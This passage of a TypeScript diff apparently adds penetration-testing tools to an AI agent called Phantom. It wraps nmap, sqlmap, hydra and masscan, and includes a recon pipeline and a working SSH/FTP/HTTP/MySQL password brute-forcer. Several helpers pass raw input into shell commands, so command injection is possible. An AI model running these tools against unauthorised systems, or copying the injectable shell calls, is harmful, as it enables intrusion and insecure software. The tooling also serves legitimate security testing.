modeArgs = (mode==="dir"?["dir"]:mode==="dns"?["dns"]:mode==="vhost"?["vhost"]:["fuzz"]).concat(rest.split(/\s+/)); + const out = execFileSync("gobuster", [...modeArgs,"-o","/dev/stdout","-q"], {encoding:"utf-8",timeout:180000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[gobuster] No results`; + return [`⚡ Gobuster ${mode}: ${rest}`, `Results: ${lines.length}`,...lines.slice(0,80).map(l=>` ${l}`)].join("\n"); + } catch(e: any) { return `[gobuster Error] ${e.message}`; } +} + +async function nmap(input: string): Promise { + if (!input || !input.trim()) return `[nmap] Usage: @nmap| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["nmap"],{encoding:"utf-8",timeout:5000}); } catch { return `[nmap] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const target = parts[0]; const extra = parts.slice(1); + const out = execFileSync("nmap", [target,...extra,"-oN","/dev/stdout"], {encoding:"utf-8",timeout:300000,maxBuffer:1024*1024}); + const lines = out.trim().split("\n"); + const interesting = lines.filter(l => !l.startsWith("#") && !l.startsWith("Nmap done") && !l.startsWith("Nmap scan") && !l.match(/^\d+ ports/) && l.trim()); + if (!interesting.length) return `[nmap] No results for ${target}`; + return [`🔎 Nmap: ${target}`, ...interesting.slice(0,80).map(l=>` ${l}`),...(interesting.length>80?[` ... ${interesting.length} total lines`]:[])].join("\n"); + } catch(e: any) { return `[nmap Error] ${e.message}`; } +} + +async function sqlmap(input: string): Promise { + if (!input || !input.trim()) return `[sqlmap] Usage: @sqlmap| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["sqlmap"],{encoding:"utf-8",timeout:5000}); } catch { return `[sqlmap] NOT INSTALLED`; } + const out = execFileSync("sqlmap", input.trim().split(/\s+/), {encoding:"utf-8",timeout:300000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + const summary = lines.filter(l => l.includes("Parameter") || l.includes("Type:") || l.includes("Title:") || l.includes("Payload:") || l.includes("identified") || l.includes("vulnerable") || l.includes("table") || l.includes("entry")); + return summary.length ? [`🔬 Sqlmap: ${input.split(/\s+/)[1]||""}`,...summary.slice(0,50).map(l=>` ${l}`)].join("\n") : `[sqlmap] No injection found (${lines.length} raw lines)`; + } catch(e: any) { return `[sqlmap Error] ${e.message}`; } +} + +async function whatweb(input: string): Promise { + if (!input || !input.trim()) return `[whatweb] Usage: @whatweb| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["whatweb"],{encoding:"utf-8",timeout:5000}); } catch { return `[whatweb] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const target = parts[0]; const extra = parts.slice(1); + const out = execFileSync("whatweb", [target,...extra,"--color","never"], {encoding:"utf-8",timeout:120000,maxBuffer:1024*1024}); + return out.trim() || `[whatweb] No results for ${target}`; + } catch(e: any) { return `[whatweb Error] ${e.message}`; } +} + +async function wafw00f(input: string): Promise { + if (!input || !input.trim()) return `[wafw00f] Usage: @wafw00f| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["wafw00f"],{encoding:"utf-8",timeout:5000}); } catch { return `[wafw00f] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const target = parts[0]; const extra = parts.slice(1); + const out = execFileSync("wafw00f", [target,...extra], {encoding:"utf-8",timeout:120000,maxBuffer:1024*1024}); + return out.trim() || `[wafw00f] No WAF for ${target}`; + } catch(e: any) { return `[wafw00f Error] ${e.message}`; } +} + +async function trufflehog(input: string): Promise { + if (!input || !input.trim()) return `[trufflehog] Usage: @trufflehog| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["trufflehog"],{encoding:"utf-8",timeout:5000}); } catch { return `[trufflehog] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const srcType = parts[0]; const target = parts[1]; const extra = parts.slice(2); + const args = srcType==="filesystem"?["filesystem",target,...extra,"--no-update"] + : srcType.startsWith("s3")?["s3","--bucket",target||srcType,...extra,"--no-update"] + : ["git",target||srcType,...extra,"--no-update"]; + const out = execFileSync("trufflehog", args, {encoding:"utf-8",timeout:300000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[trufflehog] 0 secrets found`; + const result = [`🔐 TruffleHog: ${target||srcType}`, `Findings: ${lines.length}`]; + result.push(...lines.slice(0,50).map(l=>` ${l}`)); + if (lines.length>50) result.push(` ... and ${lines.length-50} more`); + return result.join("\n"); + } catch(e: any) { return `[trufflehog Error] ${e.message}`; } +} + +async function hydra(input: string): Promise { + if (!input || !input.trim()) return `[hydra] Usage: @hydra|||| [options]`; + try { + const { execFileSync, execSync } = await import("child_process"); + try { execSync("which hydra",{encoding:"utf-8",timeout:5000}); } catch { return `[hydra] NOT INSTALLED`; } + const parts = input.trim().split("|").map(s=>s.trim()); + if (parts.length<3) return `[hydra] Need: target|protocol|user|passwords`; + const target = parts[0]; const proto = parts[1]; const user = parts[2]; const pass = parts[3]||""; + const extra = parts.slice(4); + const { writeFileSync, unlinkSync } = await import("fs"); + const passFile = pass.includes("/")||pass.includes(".")?pass:`/tmp/hydra_${Date.now()}.txt`; + if (!pass.includes("/")&&!pass.includes(".")) writeFileSync(passFile, pass.replace(/,/g,"\n")); + const args = ["-l",user,"-P",passFile,`${proto}://${target}`,...extra,"-o","/dev/stdout","-t","4","-w","10","-vV"]; + const out = execFileSync("hydra", args, {encoding:"utf-8",timeout:300000,maxBuffer:1024*1024}); + try { if (!pass.includes("/")&&!pass.includes(".")) unlinkSync(passFile); } catch {} + const found = out.trim().split("\n").filter(l => l.includes("password:")||l.includes("login:")||l.includes("[SUCCESS]")); + return found.length ? [`🔑 Hydra: ${target} (${proto})`,...found.map(l=>` ${l}`)].join("\n") : `[hydra] No creds for ${user}@${target}`; + } catch(e: any) { return `[hydra Error] ${e.message}`; } +} + +async function masscan(input: string): Promise { + if (!input || !input.trim()) return `[masscan] Usage: @masscan| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["masscan"],{encoding:"utf-8",timeout:5000}); } catch { return `[masscan] NOT INSTALLED (requires root)`; } + const parts = input.trim().split(/\s+/); + const target = parts[0]; const extra = parts.slice(1); + const out = execFileSync("masscan", [target,...extra,"-oG","/dev/stdout","--rate","1000"], {encoding:"utf-8",timeout:300000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(l => l.startsWith("Host:")); + if (!lines.length) return `[masscan] No open ports on ${target}`; + return [`⚡ Masscan: ${target}`, `Open: ${lines.length}`,...lines.slice(0,100).map(l=>` ${l}`)].join("\n"); + } catch(e: any) { return `[masscan Error] ${e.message}`; } +} + +async function nikto(input: string): Promise { + if (!input || !input.trim()) return `[nikto] Usage: @nikto| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["nikto"],{encoding:"utf-8",timeout:5000}); } catch { return `[nikto] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const out = execFileSync("nikto", parts, {encoding:"utf-8",timeout:300000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + const findings = lines.filter(l => l.includes("+") && !l.includes("-------") && !l.includes("Target IP")); + if (!findings.length) return `[nikto] 0 findings`; + return [`🔎 Nikto: ${parts[1]||""}`, `Findings: ${findings.length}`,...findings.slice(0,80).map(l=>` ${l}`)].join("\n"); + } catch(e: any) { return `[nikto Error] ${e.message}`; } +} + +async function arjun(input: string): Promise { + if (!input || !input.trim()) return `[arjun] Usage: @arjun| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["arjun"],{encoding:"utf-8",timeout:5000}); } catch { return `[arjun] NOT INSTALLED (pip install arjun)`; } + const parts = input.trim().split(/\s+/); + const out = execFileSync("arjun", parts, {encoding:"utf-8",timeout:180000,maxBuffer:1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + const found = lines.filter(l => l.includes("[+]")||l.includes("found")||l.includes("parameter")); + return found.length ? [`🔎 Arjun: ${parts[1]||""}`,...found.slice(0,40).map(l=>` ${l}`)].join("\n") : `[arjun] No params found`; + } catch(e: any) { return `[arjun Error] ${e.message}`; } +} + +async function gospider(input: string): Promise { + if (!input || !input.trim()) return `[gospider] Usage: @gospider| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["gospider"],{encoding:"utf-8",timeout:5000}); } catch { return `[gospider] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const out = execFileSync("gospider", parts, {encoding:"utf-8",timeout:180000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[gospider] 0 results`; + const urls = lines.filter(l => l.startsWith("http")); + const result = [`🕷️ Gospider: ${parts[1]||""}`, `URLs: ${urls.length}`]; + result.push(...urls.slice(0,60).map(u=>` ${u}`)); + if (urls.length>60) result.push(` ... and ${urls.length-60} more`); + return result.join("\n"); + } catch(e: any) { return `[gospider Error] ${e.message}`; } +} + +async function cloud_enum(input: string): Promise { + if (!input || !input.trim()) return `[cloud_enum] Usage: @cloud_enum| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["cloud_enum"],{encoding:"utf-8",timeout:5000}); } catch { return `[cloud_enum] NOT INSTALLED (pip install cloud_enum)`; } + const parts = input.trim().split(/\s+/); + const kw = parts[0]; const extra = parts.slice(1); + const out = execFileSync("cloud_enum", ["-k",kw,...extra,"-q"], {encoding:"utf-8",timeout:180000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + const found = lines.filter(l => l.includes("found")||l.includes("open")||l.includes("public")||l.includes("http")); + if (!found.length) return `[cloud_enum] No resources for "${kw}"`; + return [`☁️ Cloud: ${kw}`, `Found: ${found.length}`,...found.slice(0,60).map(l=>` ${l}`)].join("\n"); + } catch(e: any) { return `[cloud_enum Error] ${e.message}`; } +} + +async function notify(input: string): Promise { + if (!input || !input.trim()) return `[notify] Usage: @notify| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["notify"],{encoding:"utf-8",timeout:5000}); } catch { return `[notify] NOT INSTALLED`; } + execFileSync("notify", ["-silent","-data",input], {encoding:"utf-8",timeout:30000,maxBuffer:1024*1024}); + return `✅ Notification sent`; + } catch(e: any) { return `[notify Error] ${e.message}`; } +} + +async function interactsh(input: string): Promise { + if (!input || !input.trim()) return `[interactsh] Usage: @interactsh| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["interactsh-client"],{encoding:"utf-8",timeout:5000}); } catch { return `[interactsh] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const action = parts[0]; const extra = parts.slice(1); + if (action==="start") { + const out = execFileSync("interactsh-client", ["-json",...extra], {encoding:"utf-8",timeout:15000,maxBuffer:1024*1024}); + return `📡 Interactsh: ${out.trim().split("\n")[0]||out.trim()}\nUse URL in SSRF/blind XSS payloads`; + } else if (action==="poll"&&parts[1]) { + const out = execFileSync("interactsh-client", ["-poll-url",parts[1],...extra,"-json"], {encoding:"utf-8",timeout:30000,maxBuffer:1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + return lines.length ? [`📡 Interactions (${lines.length}):`,...lines.slice(0,30).map(l=>` ${l}`)].join("\n") : `[interactsh] No interactions`; + } else if (action==="stop") return `[interactsh] Stopped`; + return `[interactsh] start | poll | stop`; + } catch(e: any) { return `[interactsh Error] ${e.message}`; } +} + +// ── END NEW TOOLS ───────────────────────────────────────── + +async function whois(domain: string): Promise { + try { + const r = execSync(`whois ${domain}`, { encoding: "utf-8", timeout: 15000, maxBuffer: 1024 * 1024 }); + const out = r.trim(); + if (!out) return "(empty whois result)"; + // Trim to most useful sections + const lines = out.split("\n").filter(l => !l.startsWith("%") && !l.startsWith("#")); + return lines.slice(0, 60).join("\n").substring(0, 4000); + } catch (e: any) { + return `[WHOIS Error] ${e.stderr?.substring(0, 500) || e.message}`; + } +} + +async function portScan(target: string): Promise { + const COMMON_PORTS: Record = { + 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS", + 80: "HTTP", 110: "POP3", 111: "RPC", 135: "MSRPC", 139: "NetBIOS", + 143: "IMAP", 443: "HTTPS", 445: "SMB", 993: "IMAPS", 995: "POP3S", + 1433: "MSSQL", 1521: "Oracle", 2049: "NFS", 3306: "MySQL", + 3389: "RDP", 5432: "PostgreSQL", 5900: "VNC", 5985: "WinRM HTTP", + 5986: "WinRM HTTPS", 6379: "Redis", 8080: "HTTP-Proxy", 8443: "HTTPS-Alt", + 9000: "PHP-FPM", 27017: "MongoDB", + }; + + const parts = target.split(":"); + const host = parts[0]; + let ports: number[] = []; + + if (parts.length > 1 && parts[1]) { + if (parts[1].includes("-")) { + const [s, e] = parts[1].split("-").map(Number); + if (!isNaN(s) && !isNaN(e)) for (let i = s; i <= e; i++) ports.push(i); + } else { + ports = parts[1].split(",").map(Number).filter(n => !isNaN(n)); + } + } + if (ports.length === 0) ports = Object.keys(COMMON_PORTS).map(Number); + + const results = [`Port scan: ${host} (${ports.length} ports)`]; + const concurrency = 20; + + for (let i = 0; i < ports.length; i += concurrency) { + const batch = ports.slice(i, i + concurrency); + const scans = batch.map(port => + new Promise(resolve => { + const sock = new net.Socket(); + sock.setTimeout(2000); + sock.on("connect", () => { + const svc = COMMON_PORTS[port] || "unknown"; + results.push(` ${port}/tcp open ${svc}`); + sock.destroy(); + resolve(); + }); + sock.on("error", () => resolve()); + sock.on("timeout", () => { sock.destroy(); resolve(); }); + sock.connect(port, host); + }) + ); + await Promise.all(scans); + } + + if (results.length === 1) results.push(" (all filtered/closed)"); + return results.join("\n"); +} + +async function httpHeaders(url: string): Promise { + try { + const r = await fetch(url, { method: "HEAD", signal: AbortSignal.timeout(10000), redirect: "manual" }); + const headers: string[] = []; + r.headers.forEach((v, k) => headers.push(` ${k}: ${v}`)); + return `URL: ${url}\nStatus: ${r.status} ${r.statusText}\n── Response Headers ──\n${headers.join("\n")}`; + } catch (e: any) { + return `[HTTP Header Error] ${e.message}`; + } +} + +async function sslCheck(host: string): Promise { + const [hostname, portStr] = host.includes(":") ? host.split(":") : [host, "443"]; + const port = parseInt(portStr, 10) || 443; + + return new Promise(resolve => { + const socket = tls.connect(port, hostname, { servername: hostname, rejectUnauthorized: false }, () => { + const cert = socket.getPeerCertificate(); + const lines: string[] = [ + `SSL Certificate for ${hostname}:${port}`, + `Subject: ${cert.subject ? Object.entries(cert.subject).map(([k, v]) => `${k}=${v}`).join(", ") : "N/A"}`, + `Issuer: ${cert.issuer ? Object.entries(cert.issuer).map(([k, v]) => `${k}=${v}`).join(", ") : "N/A"}`, + `Valid From: ${cert.valid_from || "N/A"}`, + `Valid To: ${cert.valid_to || "N/A"}`, + `Serial: ${cert.serialNumber || "N/A"}`, + `Fingerprint (SHA256): ${cert.fingerprint256 || "N/A"}`, + `Subject Alt Names: ${(cert.subjectaltname || "").replace(/DNS:/g, "").split(", ").join(", ")}`, + `Bits: ${cert.bits || "N/A"}`, + ]; + + const daysLeft = cert.valid_to ? Math.floor((new Date(cert.valid_to).getTime() - Date.now()) / 86400000) : null; + if (daysLeft !== null) { + const warn = daysLeft < 0 ? "EXPIRED" : daysLeft < 30 ? "⚠ EXPIRING SOON" : "OK"; + lines.push(`Days Remaining: ${daysLeft} (${warn})`); + } + + const cipher = socket.getCipher(); + if (cipher) { + lines.push(`Cipher: ${cipher.name} (${cipher.version})`); + } + + socket.end(); + resolve(lines.join("\n")); + }); + + socket.on("error", (e: Error) => resolve(`[SSL Error] ${e.message}`)); + socket.setTimeout(10000, () => { socket.destroy(); resolve("[SSL Error] Timeout"); }); + }); +} + +async function subdomainEnum(domain: string): Promise { + try { + const clean = domain.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const r = await fetch(`https://crt.sh/?q=%25.${clean}&output=json`, { + signal: AbortSignal.timeout(20000), + headers: { "User-Agent": "Phantom/1.0" }, + }); + if (!r.ok) return `[crt.sh Error] HTTP ${r.status}`; + const data = await r.json() as any[]; + if (!Array.isArray(data) || data.length === 0) return `(no subdomains found for ${clean})`; + + const subs = [...new Set(data.flatMap(d => (d.name_value || "").split("\n")))] + .filter(s => s.endsWith(`.${clean}`) || s === clean) + .sort(); + return subs.length ? subs.join("\n") : `(no subdomains found for ${clean})`; + } catch (e: any) { + return `[Subdomain Error] ${e.message}`; + } +} + +async function webCrawl(url: string): Promise { + try { + const r = await fetch(url, { signal: AbortSignal.timeout(15000) }); + const html = await r.text(); + const base = url.replace(/\/[^/]*$/, ""); + + // Extract links + const links = new Set(); + const linkRe = /]+href\s*=\s*["']([^"']+)["']/gi; + let m: RegExpExecArray | null; + while ((m = linkRe.exec(html)) !== null) { + let href = m[1].split("#")[0].split("?")[0]; // strip hash and query + if (!href || href.startsWith("javascript:") || href.startsWith("mailto:")) continue; + if (href.startsWith("//")) href = `https:${href}`; + else if (href.startsWith("/")) href = new URL(href, url).href; + else if (!href.startsWith("http")) href = `${base}/${href}`; + try { links.add(new URL(href).href); } catch {} + } + + // Extract forms + const forms: string[] = []; + const formRe = /]+action\s*=\s*["']([^"']*)["'][^>]*>/gi; + while ((m = formRe.exec(html)) !== null) { + forms.push(m[1]); + } + + // Extract scripts + const scripts: string[] = []; + const scriptRe = /]+src\s*=\s*["']([^"']+)["']/gi; + while ((m = scriptRe.exec(html)) !== null) { + scripts.push(m[1]); + } + + const lines = [ + `🌐 Crawl: ${url}`, + `Status: ${r.status}`, + `Content-Type: ${r.headers.get("content-type") || "N/A"}`, + `Content-Length: ${r.headers.get("content-length") || "N/A"}`, + `Links found: ${links.size}`, + ...Array.from(links).slice(0, 30).map(l => ` ${l}`), + ]; + if (forms.length) { + lines.push(`Forms: ${forms.length}`); + forms.slice(0, 5).forEach(f => lines.push(` action="${f}"`)); + } + if (scripts.length) { + lines.push(`Scripts: ${scripts.length}`); + scripts.slice(0, 10).forEach(s => lines.push(` ${s}`)); + } + return lines.join("\n"); + } catch (e: any) { + return `[Crawl Error] ${e.message}`; + } +} + +async function vtCheck(hash: string): Promise { + const key = process.env.VT_API_KEY || ""; + if (!key) return "[VT] Set VT_API_KEY env var (free: https://virustotal.com)"; + try { + const r = await fetch(`https://www.virustotal.com/api/v3/files/${hash.trim()}`, { + headers: { "x-apikey": key, "Accept": "application/json" }, + signal: AbortSignal.timeout(15000), + }); + if (r.status === 404) return `[VT] Hash "${hash}" not found in VirusTotal database`; + if (!r.ok) return `[VT Error] HTTP ${r.status}`; + const data = (await r.json()) as any; + const attrs = data?.data?.attributes || {}; + const stats = attrs.last_analysis_stats || {}; + const results = attrs.last_analysis_results || {}; + const malicious = stats.malicious || 0; + const suspicious = stats.suspicious || 0; + const harmless = stats.harmless || 0; + const undetected = stats.undetected || 0; + + const lines = [ + `🔬 VirusTotal Report for ${hash}`, + `File: ${attrs.meaningful_name || "N/A"}`, + `Type: ${attrs.type_description || attrs.type || "N/A"}`, + `Size: ${attrs.size || "N/A"} bytes`, + `First Seen: ${attrs.first_submission_date ? new Date(attrs.first_submission_date * 1000).toISOString().split("T")[0] : "N/A"}`, + `Last Seen: ${attrs.last_analysis_date ? new Date(attrs.last_analysis_date * 1000).toISOString().split("T")[0] : "N/A"}`, + `Times Submitted: ${attrs.times_submitted || "N/A"}`, + "", + `Detection: ${malicious} malicious / ${suspicious} suspicious / ${harmless} harmless / ${undetected} undetected`, + `Total engines: ${malicious + suspicious + harmless + undetected}`, + "", + `── Top Malicious Detections ──`, + ]; + + for (const [engine, res] of Object.entries(results)) { + const r = res as any; + if (r.category === "malicious") { + lines.push(` ${engine}: ${r.result}`); + } + } + + if (attrs.names) { + lines.push(`\n── Known As ──`); + (attrs.names as string[]).slice(0, 10).forEach(n => lines.push(` ${n}`)); + } + + return lines.join("\n"); + } catch (e: any) { + return `[VT Error] ${e.message}`; + } +} + +async function yaraScan(input: string): Promise { + // input format: "rules_file|target_path" or "target_path" (uses default rules) + const parts = input.split("|").map(s => s.trim()); + let rules: string, target: string; + if (parts.length >= 2) { + [rules, target] = parts; + } else { + target = parts[0]; + rules = ""; + } + + try { + const cmd = rules ? `yara ${rules} ${target}` : `yara ${target}`; + const r = execSync(cmd, { encoding: "utf-8", timeout: 30000, maxBuffer: 1024 * 1024 }); + const out = r.trim(); + if (!out) return "(no YARA matches)"; + return `YARA scan: ${target}\n${out}`; + } catch (e: any) { + const stderr = e.stderr?.toString() || ""; + if (stderr.includes("command not found") || e.message.includes("command not found")) { + return "[YARA] Not installed. Install with: apt install yara or brew install yara"; + } + if (e.status === 0) return "(no YARA matches)"; + return `[YARA Error] ${stderr.substring(0, 500) || e.message}`; + } +} + +// ── Config ───────────────────────────────────────────────── +interface PhantomConfig { + VT_API_KEY?: string; + SHODAN_API_KEY?: string; + report_dir?: string; +} + +function loadConfig(): PhantomConfig { + try { + const configPath = resolve(homedir(), ".config", "phantom", "config.json"); + if (existsSync(configPath)) { + return JSON.parse(readFileSync(configPath, "utf-8")); + } + } catch {} + return {}; +} + +const _config = loadConfig(); +if (_config.VT_API_KEY && !process.env.VT_API_KEY) { + process.env.VT_API_KEY = _config.VT_API_KEY; +} + +// ── AUTO RECON ──────────────────────────────────────────── +async function recon(target: string): Promise { + const domain = target.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const ts = new Date().toISOString().replace(/[:.]/g, "-"); + const lines: string[] = [ + `╔══════════════════════════════════════╗`, + `║ PHANTOM AUTOMATED RECON ║`, + `║ Target: ${domain.padEnd(32)}║`, + `║ Date: ${ts.slice(0, 19).padEnd(27)}║`, + `╚══════════════════════════════════════╝`, + "", + ]; + + // 1. WHOIS + lines.push(`── [1/7] WHOIS ──`); + lines.push(await whois(domain)); + + // 2. DNS + lines.push(`\n── [2/7] DNS ──`); + lines.push(await dnsLookup(domain)); + + // 3. Subdomains + lines.push(`\n── [3/7] SUBDOMAINS ──`); + lines.push(await subdomainEnum(domain)); + + // 4. HTTP headers + lines.push(`\n── [4/7] HTTP HEADERS ──`); + lines.push(await httpHeaders(`https://${domain}`)); + + // 5. SSL + lines.push(`\n── [5/7] SSL ──`); + lines.push(await sslCheck(domain)); + + // 6. Port scan common ports + lines.push(`\n── [6/7] PORTS ──`); + lines.push(await portScan(domain)); + + // 7. Crawl + lines.push(`\n── [7/7] CRAWL ──`); + lines.push(await webCrawl(`https://${domain}`)); + + // Save report + const reportDir = _config.report_dir || resolve(homedir(), ".config", "phantom", "reports"); + if (!existsSync(reportDir)) mkdirSync(reportDir, { recursive: true }); + const reportPath = resolve(reportDir, `recon_${domain}_${ts}.md`); + writeFileSync(reportPath, lines.join("\n"), "utf-8"); + lines.push(`\n📄 Report saved: ${reportPath}`); + + return lines.join("\n"); +} + +// ── CVE SEARCH ──────────────────────────────────────────── +async function cveSearch(query: string): Promise { + try { + const r = await fetch( + `https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=${encodeURIComponent(query)}&resultsPerPage=12`, + { signal: AbortSignal.timeout(20000), headers: { "User-Agent": "Phantom/1.0" } } + ); + if (!r.ok) return `[NVD Error] HTTP ${r.status}`; + const data = await r.json() as any; + const vulns = data?.vulnerabilities || []; + if (!vulns.length) return `(no CVEs found for "${query}")`; + + const lines: string[] = [`🔍 CVEs for "${query}": ${vulns.length} found\n`]; + for (const v of vulns.slice(0, 15)) { + const c = v.cve || {}; + const id = c.id || "N/A"; + const desc = c.descriptions?.find((d: Record) => d.lang === "en")?.value || ""; + const cvss = c.metrics?.cvssMetricV31?.[0]?.cvssData; + const cvss2 = c.metrics?.cvssMetricV2?.[0]?.cvssData; + const score = cvss?.baseScore ?? cvss2?.baseScore ?? "?"; + const sev = cvss?.baseSeverity ?? cvss2?.baseSeverity ?? "?"; + const pub = (c.published || "").split("T")[0] || "?"; + const exploit = c.metrics?.cvssMetricV31?.[0]?.exploitabilityScore ?? ""; + lines.push(`[${id}] ${sev} (${score}) — ${pub}`); + if (desc) lines.push(` ${desc.substring(0, 180)}`); + lines.push(` https://nvd.nist.gov/vuln/detail/${id}`); + lines.push(""); + } + return lines.join("\n"); + } catch (e: any) { + return `[CVE Search Error] ${e.message}`; + } +} + +// ── SEARCHSPLOIT ────────────────────────────────────────── +async function searchsploit(query: string): Promise { + // Try local searchsploit CLI first + try { + const r = execSync(`searchsploit ${query} 2>/dev/null`, { + encoding: "utf-8", timeout: 15000, maxBuffer: 1024 * 1024, + }); + const out = r.trim(); + if (out) return `🔧 Exploit-DB results:\n${out.substring(0, 4000)}`; + } catch {} + + // Fallback: search packetstorm + try { + const r = await fetch( + `https://packetstormsecurity.com/search/?q=${encodeURIComponent(query)}`, + { signal: AbortSignal.timeout(15000), headers: { "User-Agent": "Mozilla/5.0" } } + ); + const html = await r.text(); + const results: string[] = [`🔧 Exploit search results for "${query}":`]; + const matches = html.match(/]+href="\/files\/[^"]+"[^>]*>[\s\S]{0,150}?<\/a>/gi) || []; + let count = 0; + for (const m of matches.slice(0, 15)) { + const url = m.match(/href="([^"]+)"/)?.[1] || ""; + const text = m.replace(/<[^>]+>/g, "").trim().substring(0, 100); + if (url && text) { + results.push(` ${text} → https://packetstormsecurity.com${url}`); + count++; + } + } + if (count === 0) { + results.push(` Try: https://www.exploit-db.com/search?q=${encodeURIComponent(query)}`); + } + return results.join("\n"); + } catch (e: any) { + return `[Search Error] ${e.message}`; + } +} + +// ── BRUTEFORCE ──────────────────────────────────────────── +async function bruteforceFn(input: string): Promise { + // Format: protocol|target|user|pass1,pass2,pass3 + // or: protocol|target|user:wordlist_path + const parts = input.split("|").map(s => s.trim()); + if (parts.length < 4) { + return `[Brute] Usage: protocol|target|user|pass1,pass2,... +Protocols: ssh, ftp, http, mysql +Examples: + ssh|192.168.1.1|root|admin,toor,123456 + ftp|ftp.example.com|admin|password,secret + http|https://site.com/login|admin|admin123,test + mysql|db.example.com|root|root,toor,password`; + } + + const [protocol, target, user, passStr] = parts; + const passwords = passStr.includes("\n") || passStr.length > 200 + ? passStr.split(/[\n,]+/).map(s => s.trim()).filter(Boolean) + : passStr.split(",").map(s => s.trim()).filter(Boolean); + + const results: string[] = [ + `🔑 Brute force: ${protocol}://${target}`, + ` User: ${user}`, + ` Passwords: ${passwords.length}`, + "", + ]; + + const pad = `${user}:`.padEnd(25); + + for (const pass of passwords) { + const result = await tryLogin(protocol, target, user, pass); + results.push(` ${pad} ${pass.padEnd(20)} → ${result}`); + if (result.startsWith("✅") || result.startsWith("⚠")) { + results.push(`\n🎯 CREDENTIALS FOUND: ${user}:${pass}`); + break; + } + } + + return results.join("\n"); +} + +async function tryLogin(protocol: string, target: string, user: string, pass: string): Promise { + switch (protocol) { + case "ssh": { + try { + execSync( + `sshpass -p '${pass.replace(/'/g, "'\\''")}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 -o BatchMode=no ${user}@${target} 'id' 2>/dev/null`, + { encoding: "utf-8", timeout: 10000 } + ); + return "✅ SUCCESS"; + } catch { + return "❌ failed"; + } + } + case "ftp": { + return new Promise(resolve => { + const sock = new net.Socket(); + let buf = ""; + sock.setTimeout(5000); + sock.on("data", d => { + buf += d.toString(); + if (buf.includes("220 ") || buf.includes("ready")) { + sock.write(`USER ${user}\r\n`); + } else if (buf.includes("331 ") || buf.includes("User")) { + sock.write(`PASS ${pass}\r\n`); + } else if (buf.includes("230 ") || buf.includes("Logged") || buf.includes("Welcome")) { + sock.destroy(); + resolve("✅ SUCCESS"); + } else if (buf.includes("530 ") || buf.includes("Login") || buf.includes("incorrect")) { + sock.destroy(); + resolve("❌ failed"); + } + }); + sock.on("error", () => resolve("❌ error")); + sock.on("timeout", () => { sock.destroy(); resolve("❌ timeout"); }); + const [h, p] = target.includes(":") ? target.split(":") : [target, "21"]; + sock.connect(parseInt(p) || 21, h); + }); + } + case "http": { + try { + const url = target; + const r = await fetch(url, { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: new URLSearchParams({ username: user, password: pass, log: user, pwd: pass, user_login: user }).toString(), + redirect: "manual", + signal: AbortSignal.timeout(8000), + }); + const text = await r.text().catch(() => ""); + if (r.status === 302 || r.status === 301) return "✅ SUCCESS (redirect)"; + if (r.status === 200 && !text.includes("incorrect") && !text.includes("Invalid") && !text.includes("error") && !text.includes("failed")) { + return !text.includes("password") && !text.includes("login") ? "⚠ maybe" : "❌ failed"; + } + if (r.status === 401 || r.status === 403) return "❌ denied"; + return "❌ failed"; + } catch { + return "❌ error"; + } + } + case "mysql": { + try { + const r = execSync( + `mysql -u '${user}' -p'${pass.replace(/'/g, "'\\''")}' -h '${target}' -e 'SELECT 1' --connect-timeout=5 2>/dev/null`, + { encoding: "utf-8", timeout: 10000 } + ); + return r.includes("1") ? "✅ SUCCESS" : "❌ failed"; + } catch { + return "❌ failed"; + } + } + default: + return `❌ unknown protocol "${protocol}"`; + } +} + +// ── FILE TOOLS ──────────────────────────────────────────── +const PHANTOM_DIR = resolve(import.meta.dirname || __dirname || ".", "..", ".."); + +async function fileRead(path: string): Promise { + try { + const resolved = resolve(path); + if (!existsSync(resolved)) return `[File Error] Not found: ${path}`; + const content = readFileSync(resolved, "utf-8"); + if (content.length > 100000) return `[File Error] Too large (>100KB): ${path} (${content.length} chars)`; + return content; + } catch (e: any) { + if (e.code === "EISDIR") return `[File Error] Is a directory: ${path}`; + return `[File Error] ${e.message}`; + } +} + +async function fileWrite(input: string): Promise { + const idx = input.indexOf("|"); + if (idx === -1) return "[File Write] Usage: path|content\nSeparate path and content with |"; + const path = input.substring(0, idx).trim(); + const content = input.substring(idx + 1).trimStart(); + if (!path || !content) return "[File Write] Usage: path|content"; + try { + const resolved = resolve(path); + const dir = 